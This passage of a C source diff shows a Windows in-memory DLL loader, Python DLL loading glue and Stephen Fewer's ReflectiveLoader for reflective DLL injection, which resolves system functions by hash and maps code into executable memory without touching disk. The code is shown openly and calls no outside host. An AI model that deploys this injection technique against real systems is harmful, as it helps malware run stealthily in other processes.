return MyGetProcAddress(module, name);
}
static void _FreeLibrary(HCUSTOMMODULE module, void *userdata)
{
MyFreeLibrary(module);
}
static HCUSTOMMODULE _LoadLibrary(LPCSTR filename, void *userdata)
{
HCUSTOMMODULE result;
LIST *lib;
dprintf("_LoadLibrary(%s, %p)\n", filename, userdata);
PUSH();
lib = _FindMemoryModule(filename, NULL);
if (lib) {
lib->refcount += 1;
POP();
dprintf("_LoadLibrary(%s, %p) -> %s[%d]\n\n",
filename, userdata, lib->name, lib->refcount);
return lib->module;
}
if (userdata) {
PyObject *findproc = (PyObject *)userdata;
PyObject *res = PyObject_CallFunction(findproc, "s", filename);
if (res && PyString_AsString(res)) {
result = MemoryLoadLibraryEx(PyString_AsString(res),
_LoadLibrary, _GetProcAddress, _FreeLibrary,
userdata);
Py_DECREF(res);
if (result) {
lib = _AddMemoryModule(filename, result);
POP();
dprintf("_LoadLibrary(%s, %p) -> %s[%d]\n\n",
filename, userdata, lib->name, lib->refcount);
return lib->module;
} else {
dprintf("_LoadLibrary(%s, %p) failed with error %d\n",
filename, userdata, GetLastError());
}
} else {
PyErr_Clear();
}
}
result = (HCUSTOMMODULE)LoadLibraryA(filename);
POP();
dprintf("LoadLibraryA(%s) -> %p\n\n", filename, result);
return result;
}
/****************************************************************
* Public functions
*/
HMODULE MyGetModuleHandle(LPCSTR name)
{
LIST *lib;
lib = _FindMemoryModule(name, NULL);
if (lib)
return lib->module;
return GetModuleHandle(name);
}
HMODULE MyLoadLibrary(LPCSTR name, void *bytes, void *userdata)
{
if (userdata) {
HCUSTOMMODULE mod = _LoadLibrary(name, userdata);
if (mod)
return mod;
} else if (bytes) {
HCUSTOMMODULE mod = MemoryLoadLibraryEx(bytes,
_LoadLibrary,
_GetProcAddress,
_FreeLibrary,
userdata);
if (mod) {
LIST *lib = _AddMemoryModule(name, mod);
return lib->module;
}
}
return LoadLibrary(name);
}
BOOL MyFreeLibrary(HMODULE module)
{
LIST *lib = _FindMemoryModule(NULL, module);
if (lib) {
if (--lib->refcount == 0)
MemoryFreeLibrary(module);
return TRUE;
} else
return FreeLibrary(module);
}
FARPROC MyGetProcAddress(HMODULE module, LPCSTR procname)
{
FARPROC proc;
LIST *lib = _FindMemoryModule(NULL, module);
if (lib) {
dprintf("MyGetProcAddress(%p, %p(%s))\n", module, procname, HIWORD(procname) ? procname : "");
PUSH();
proc = MemoryGetProcAddress(lib->module, procname);
POP();
dprintf("MyGetProcAddress(%p, %p(%s)) -> %p\n", module, procname, HIWORD(procname) ? procname : "", proc);
return proc;
} else
return GetProcAddress(module, procname);
}

View File

@ -0,0 +1,13 @@
#ifndef GENERALLOADLIBRARY_H
#define GENERALLOADLIBRARY_H
HMODULE MyLoadLibrary(LPCSTR, void *, void *);
HMODULE MyGetModuleHandle(LPCSTR);
BOOL MyFreeLibrary(HMODULE);
FARPROC MyGetProcAddress(HMODULE, LPCSTR);
#endif

View File

@ -0,0 +1,97 @@
/* **************** Python-dynload.c **************** */
#include "Python-dynload.h"
#include <windows.h>
#include "MyLoadLibrary.h"
#include "MemoryModule.h"
#include "actctx.h"
#include <stdio.h>
struct IMPORT imports[] = {
#include "import-tab.c"
{ NULL, NULL }, /* sentinel */
};
void Py_XDECREF(PyObject *ob)
{
static PyObject *tup;
if (tup == NULL)
tup = PyTuple_New(1);
/* Let the tuple take the refcount */
PyTuple_SetItem(tup, 0, ob);
/* and overwrite it */
PyTuple_SetItem(tup, 0, PyInt_FromLong(0));
}
void Py_XINCREF(PyObject *ob)
{
if (ob)
Py_BuildValue("O", ob);
}
int _load_python_FromFile(char *dllname)
{
int i;
struct IMPORT *p = imports;
HMODULE hmod;
// In some cases (eg, ISAPI filters), Python may already be
// in our process. If so, we don't want it to try and
// load a new one! (Actually, we probably should not even attempt
// to load an 'embedded' Python should GetModuleHandle work - but
// that is less clear than this straight-forward case)
// Get the basename of the DLL.
char *dllbase = dllname + strlen(dllname);
while (dllbase != dllname && *dllbase != '\\')
dllbase--;
if (*dllbase=='\\')
++dllbase;
hmod = GetModuleHandle(dllbase);
if (hmod == NULL)
hmod = LoadLibrary(dllname);
if (hmod == NULL) {
return 0;
}
for (i = 0; p->name; ++i, ++p) {
p->proc = (void (*)())GetProcAddress(hmod, p->name);
if (p->proc == NULL) {
OutputDebugString("undef symbol");
fprintf(stderr, "undefined symbol %s -> exit(-1)\n", p->name);
return 0;
}
}
return 1;
}
int _load_python(char *dllname, char *bytes)
{
int i;
struct IMPORT *p = imports;
HMODULE hmod;
ULONG_PTR cookie = 0;
if (!bytes)
return _load_python_FromFile(dllname);
cookie = _My_ActivateActCtx();//try some windows manifest magic...
//hmod = MemoryLoadLibrary(bytes);
hmod = MyLoadLibrary(dllname, bytes, NULL);
_My_DeactivateActCtx(cookie);
if (hmod == NULL) {
return 0;
}
for (i = 0; p->name; ++i, ++p) {
//p->proc = (void (*)())MemoryGetProcAddress(hmod, p->name);
p->proc = (void (*)())MyGetProcAddress(hmod, p->name);
if (p->proc == NULL) {
OutputDebugString("undef symbol");
fprintf(stderr, "undefined symbol %s -> exit(-1)\n", p->name);
return 0;
}
}
return 1;
}

View File

@ -0,0 +1,57 @@
/* **************** Python-dynload.h **************** */
#include "Python-version.h"
typedef void *PyObject;
typedef void *PyCodeObject;
typedef PyObject *(*PyCFunction)(PyObject *, PyObject *);
typedef
enum {PyGILState_LOCKED, PyGILState_UNLOCKED}
PyGILState_STATE;
typedef struct {
char *ml_name;
PyCFunction ml_meth;
int ml_flags;
char *ml_doc;
} PyMethodDef;
struct IMPORT {
char *name;
void (*proc)();
};
extern int _load_python(char *dllname, char *dllbytes);
extern struct IMPORT imports[];
#include "import-tab.h"
extern void Py_XINCREF(PyObject *);
#define snprintf _snprintf
#define Py_DECREF(x) Py_XDECREF(x)
#define Py_INCREF(x) Py_XINCREF(x)
extern void Py_XDECREF(PyObject *ob);
#define METH_OLDARGS 0x0000
#define METH_VARARGS 0x0001
#define METH_KEYWORDS 0x0002
/* METH_NOARGS and METH_O must not be combined with the flags above. */
#define METH_NOARGS 0x0004
#define METH_O 0x0008
/* METH_CLASS and METH_STATIC are a little different; these control
the construction of methods for a class. These cannot be used for
functions in modules. */
#define METH_CLASS 0x0010
#define METH_STATIC 0x0020
#define PyCFunction_New(ML, SELF) PyCFunction_NewEx((ML), (SELF), NULL)
#define PyInt_Check(op) PyObject_IsInstance(op, &PyInt_Type) /* ??? */
#define Py_None (&_Py_NoneStruct)
#define DL_EXPORT(x) x
#define Py_InitModule3(name, methods, doc) \
Py_InitModule4(name, methods, doc, (PyObject *)NULL, \
PYTHON_API_VERSION)

View File

@ -0,0 +1,15 @@
#include <patchlevel.h>
#if (PY_VERSION_HEX < 0x02050000)
# define PYTHON_API_VERSION 1012
typedef int Py_ssize_t;
#else
# define PYTHON_API_VERSION 1013
/* The check for _WIN64 must come first, because on win64 both _WIN64 and
* _WIN32 are defined!
*/
# if defined (_WIN64)
typedef __int64 Py_ssize_t;
# elif defined (_WIN32)
typedef int Py_ssize_t;
# endif
#endif

View File

@ -0,0 +1,52 @@
//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
// we declare some common stuff in here...
#define DLL_QUERY_HMODULE 6
#define DEREF( name )*(UINT_PTR *)(name)
#define DEREF_64( name )*(DWORD64 *)(name)
#define DEREF_32( name )*(DWORD *)(name)
#define DEREF_16( name )*(WORD *)(name)
#define DEREF_8( name )*(BYTE *)(name)
typedef ULONG_PTR (WINAPI * REFLECTIVELOADER)( VOID );
typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID );
#define DLLEXPORT __declspec( dllexport )
//===============================================================================================//
#endif
//===============================================================================================//

View File

@ -0,0 +1,496 @@
//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#include "ReflectiveLoader.h"
//===============================================================================================//
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
HINSTANCE hAppInstance = NULL;
//===============================================================================================//
#pragma intrinsic( _ReturnAddress )
// This function can not be inlined by the compiler or we will not get the address we expect. Ideally
// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of
// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics
// available (and no inline asm available under x64).
__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); }
//===============================================================================================//
// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,
// otherwise the DllMain at the end of this file will be used.
// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
// otherwise it is assumed you are calling the ReflectiveLoader via a stub.
// This is our position independent reflective DLL loader/injector
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter )
#else
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID )
#endif
{
// the functions we need
LOADLIBRARYA pLoadLibraryA = NULL;
GETPROCADDRESS pGetProcAddress = NULL;
VIRTUALALLOC pVirtualAlloc = NULL;
NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;
USHORT usCounter;
// the initial location of this image in memory
ULONG_PTR uiLibraryAddress;
// the kernels base address and later this images newly loaded base address
ULONG_PTR uiBaseAddress;
// variables for processing the kernels export table
ULONG_PTR uiAddressArray;
ULONG_PTR uiNameArray;
ULONG_PTR uiExportDir;
ULONG_PTR uiNameOrdinals;
DWORD dwHashValue;
// variables for loading this image
ULONG_PTR uiHeaderValue;
ULONG_PTR uiValueA;
ULONG_PTR uiValueB;
ULONG_PTR uiValueC;
ULONG_PTR uiValueD;
ULONG_PTR uiValueE;
// STEP 0: calculate our images current base address
// we will start searching backwards from our callers return address.
uiLibraryAddress = caller();
// loop through memory backwards searching for our images base address
// we dont need SEH style search as we shouldnt generate any access violations with this
while( TRUE )
{
if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
{
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
{
uiHeaderValue += uiLibraryAddress;
// break if we have found a valid MZ/PE header
if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
break;
}
}
uiLibraryAddress--;
}
// STEP 1: process the kernels exports for the functions our loader needs...
// get the Process Enviroment Block
#ifdef WIN_X64
uiBaseAddress = __readgsqword( 0x60 );
#else
#ifdef WIN_X86
uiBaseAddress = __readfsdword( 0x30 );
#else WIN_ARM
uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 );
#endif
#endif
// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
// get the first entry of the InMemoryOrder module list
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
while( uiValueA )
{
// get pointer to current modules name (unicode string)
uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
// set bCounter to the length for the loop
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
// clear uiValueC which will store the hash of the module name
uiValueC = 0;
// compute the hash of the module name...
do
{
uiValueC = ror( (DWORD)uiValueC );
// normalize to uppercase if the madule name is in lowercase
if( *((BYTE *)uiValueB) >= 'a' )
uiValueC += *((BYTE *)uiValueB) - 0x20;
else
uiValueC += *((BYTE *)uiValueB);
uiValueB++;
} while( --usCounter );
// compare the hash with that of kernel32.dll
if( (DWORD)uiValueC == KERNEL32DLL_HASH )
{
// get this modules base address
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
// get the VA of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
// get the VA for the array of name pointers
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
// get the VA for the array of name ordinals
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
usCounter = 3;
// loop while we still have imports to find
while( usCounter > 0 )
{
// compute the hash values for this function name
dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
// if we have found a function we want we get its virtual address
if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH )
{
// get the VA for the array of addresses
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
// use this functions name ordinal as an index into the array of name pointers
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
// store this functions VA
if( dwHashValue == LOADLIBRARYA_HASH )
pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
else if( dwHashValue == GETPROCADDRESS_HASH )
pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
else if( dwHashValue == VIRTUALALLOC_HASH )
pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );
// decrement our counter
usCounter--;
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
}
else if( (DWORD)uiValueC == NTDLLDLL_HASH )
{
// get this modules base address
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
// get the VA of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
// get the VA for the array of name pointers
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
// get the VA for the array of name ordinals
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
usCounter = 1;
// loop while we still have imports to find
while( usCounter > 0 )
{
// compute the hash values for this function name
dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
// if we have found a function we want we get its virtual address
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
{
// get the VA for the array of addresses
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
// use this functions name ordinal as an index into the array of name pointers
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
// store this functions VA
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) );
// decrement our counter
usCounter--;
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
}
// we stop searching when we have found everything we need.
if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache )
break;
// get the next entry
uiValueA = DEREF( uiValueA );
}
// STEP 2: load our image into a new permanent location in memory...
// get the VA of the NT Header for the PE to be loaded
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// allocate all the memory for the DLL to be loaded into. we can load at any address because we will
// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
// we must now copy over the headers
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
uiValueB = uiLibraryAddress;
uiValueC = uiBaseAddress;
while( uiValueA-- )
*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;
// STEP 3: load in all of our sections...
// uiValueA = the VA of the first section
uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
// itterate through all sections, loading them into memory.
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
while( uiValueE-- )
{
// uiValueB is the VA for this section
uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
// uiValueC if the VA for this sections data
uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
// copy the section over
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
while( uiValueD-- )
*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
// get the VA of the next section
uiValueA += sizeof( IMAGE_SECTION_HEADER );
}
// STEP 4: process our images import table...
// uiValueB = the address of the import directory
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
// we assume their is an import table to process
// uiValueC is the first entry in the import table
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
// itterate through all imports
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name )
{
// use LoadLibraryA to load the imported module into memory
uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
// uiValueD = VA of the OriginalFirstThunk
uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );
// itterate through all imported functions, importing by ordinal if no name present
while( DEREF(uiValueA) )
{
// sanity check uiValueD as some compilers only import by FirstThunk
if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
{
// get the VA of the modules NT Header
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory
uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
// get the VA for the array of addresses
uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
// use the import ordinal (- export ordinal base) as an index into the array of addresses
uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );
// patch in the address for this imported function
DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
}
else
{
// get the VA of this functions import by name struct
uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
// use GetProcAddress and patch in the address for this imported function
DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
}
// get the next imported function
uiValueA += sizeof( ULONG_PTR );
if( uiValueD )
uiValueD += sizeof( ULONG_PTR );
}
// get the next import
uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
}
// STEP 5: process all of our images relocations...
// calculate the base address delta and perform relocations (even if we load at desired image base)
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
// uiValueB = the address of the relocation directory
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
// check if their are any relocations present
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
{
// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
// and we itterate through all entries...
while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
{
// uiValueA = the VA for this relocation block
uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );
// uiValueB = number of entries in this relocation block
uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
// uiValueD is now the first entry in the current relocation block
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
// we itterate through all the entries in the current block...
while( uiValueB-- )
{
// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
// we dont use a switch statement to avoid the compiler building a jump table
// which would not be very position independent!
if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
#ifdef WIN_ARM
// Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T )
{
register DWORD dwInstruction;
register DWORD dwAddress;
register WORD wImm;
// get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)
dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) );
// flip the words to get the instruction as expected
dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
// sanity chack we are processing a MOV instruction...
if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT )
{
// pull out the encoded 16bit value (the high portion of the address-to-relocate)
wImm = (WORD)( dwInstruction & 0x000000FF);
wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
// apply the relocation to the target address
dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF;
// now create a new instruction with the same opcode and register param.
dwInstruction = (DWORD)( dwInstruction & ARM_MOV_MASK2 );
// patch in the relocated address...
dwInstruction |= (DWORD)(dwAddress & 0x00FF);
dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
// now flip the instructions words and patch back into the code...
*(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
}
}
#endif
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
// get the next entry in the current relocation block
uiValueD += sizeof( IMAGE_RELOC );
}
// get the next entry in the relocation directory
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
}
}
// STEP 6: call our images entry point
// uiValueA = the VA of our newly loaded DLL/EXE's entry point
uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );
// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );
// call our respective entry point, fudging our hInstance value
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );
#else
// if we are injecting an DLL via a stub we call DllMain with no parameter
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );
#endif
// STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
return uiValueA;
}
//===============================================================================================//
#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
{
BOOL bReturnValue = TRUE;
switch( dwReason )
{
case DLL_QUERY_HMODULE:
if( lpReserved != NULL )
